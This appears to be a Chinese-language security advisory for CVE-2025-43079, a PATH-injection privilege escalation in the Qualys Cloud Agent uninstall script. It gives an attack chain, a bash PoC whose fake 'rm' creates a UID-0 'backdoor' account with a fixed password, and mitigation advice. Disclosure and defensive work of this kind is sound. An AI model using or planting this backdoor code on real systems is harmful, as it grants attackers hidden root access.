CVE-2025-43079: Qualys Cloud Agent卸载脚本本地权限提升漏洞

漏洞信息

漏洞编号

CVE-2025-43079

漏洞类型

本地权限提升

CVSS评分

6.3 中危

攻击向量

本地 (AV:L)

认证要求

高权限 (PR:H)

用户交互

需要交互 (UI:R)

影响产品

Qualys Cloud Agent

漏洞概述

CVE-2025-43079是Qualys Cloud Agent的一个中等严重性安全漏洞，位于Mac和Linux版本的卸载脚本(qagent_uninstall.sh)中。该漏洞允许具有sudo权限的攻击者通过操纵PATH环境变量，将恶意可执行文件注入到卸载脚本的执行流程中，从而实现本地权限提升和任意命令以root权限执行。此漏洞的CVSS评分为6.3，属于中危级别，攻击向量为本地，需要高权限用户交互。Qualys Cloud Agent是广泛应用于企业环境的云安全代理软件，用于资产发现和漏洞管理，因此该漏洞可能影响大量企业用户。攻击者需要先获得目标系统的sudo权限才能利用此漏洞，这限制了其实际危害范围，但一旦被利用，将导致完整的系统控制权被夺取。

技术细节

该漏洞的根本原因在于qagent_uninstall.sh卸载脚本在调用系统命令时未使用绝对路径，并且没有对PATH环境变量进行清理或验证。脚本直接依赖系统PATH环境变量来查找和执行命令(如rm、chmod、grep等常见Unix工具)。当管理员使用sudo执行该脚本时，如果攻击者能够预先设置恶意的PATH环境变量(例如在/tmp目录下创建同名恶意程序)，脚本将在不知情的情况下执行这些恶意程序而非合法的系统命令。由于脚本以root权限运行，恶意程序也将继承root权限，从而实现本地权限提升。攻击者需要诱使管理员在设置了恶意PATH的环境下执行sudo ./qagent_uninstall.sh，或通过其他方式在脚本执行时注入PATH环境变量。此攻击方式属于PATH变量注入攻击，是经典的环境变量操纵技术的变种。

攻击链分析

STEP 1

步骤1

攻击者获得目标系统的sudo权限账户

STEP 2

步骤2

攻击者在可控目录(如/tmp)创建恶意可执行文件，伪装成系统命令(rm、chmod等)

STEP 3

步骤3

攻击者设置PATH环境变量，将恶意目录优先级提高到系统目录之前

STEP 4

步骤4

系统管理员或自动化脚本使用sudo执行qagent_uninstall.sh卸载脚本

STEP 5

步骤5

卸载脚本在执行系统命令时，PATH被操纵导致执行恶意程序

STEP 6

步骤6

恶意程序以root权限运行，实现本地权限提升或任意命令执行

STEP 7

步骤7

攻击者创建后门账户或执行其他恶意操作获取持久化控制

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/bin/bash
# CVE-2025-43079 PoC - PATH Injection in Qualys Cloud Agent uninstall script
# Attacker preparation (must have sudo access)

# Create malicious executables to replace system commands
cat > /tmp/rm << 'EOF'
#!/bin/bash
echo "Malicious rm executed! Creating backdoor..."
# Add root user or execute other malicious commands
useradd -ou 0 -g 0 backdoor 2>/dev/null || true
echo "backdoor:password" | chpasswd 2>/dev/null || true
exit 0
EOF

cat > /tmp/chmod << 'EOF'
#!/bin/bash
echo "Malicious chmod executed!"
# Could escalate privileges further
exit 0
EOF

# Make malicious executables executable
chmod +x /tmp/rm /tmp/chmod

# Set PATH to prioritize /tmp (attacker controlled directory)
export PATH=/tmp:/usr/local/bin:/usr/bin:/bin

# When admin runs: sudo ./qagent_uninstall.sh
# The script will execute our malicious binaries instead of system ones

echo "PoC ready. Wait for admin to run: sudo ./qagent_uninstall.sh"

影响范围

Qualys Cloud Agent (Mac版) 所有版本

Qualys Cloud Agent (Linux版) 所有版本

防御指南

临时缓解措施

在等待官方补丁期间，应限制谁可以使用sudo执行命令，避免在不受控环境下使用sudo运行qagent_uninstall.sh。建议使用绝对路径调用命令，并在执行前显式设置安全的PATH环境变量(如PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin)。同时监控/tmp等目录的可执行文件创建活动，检测潜在的恶意行为。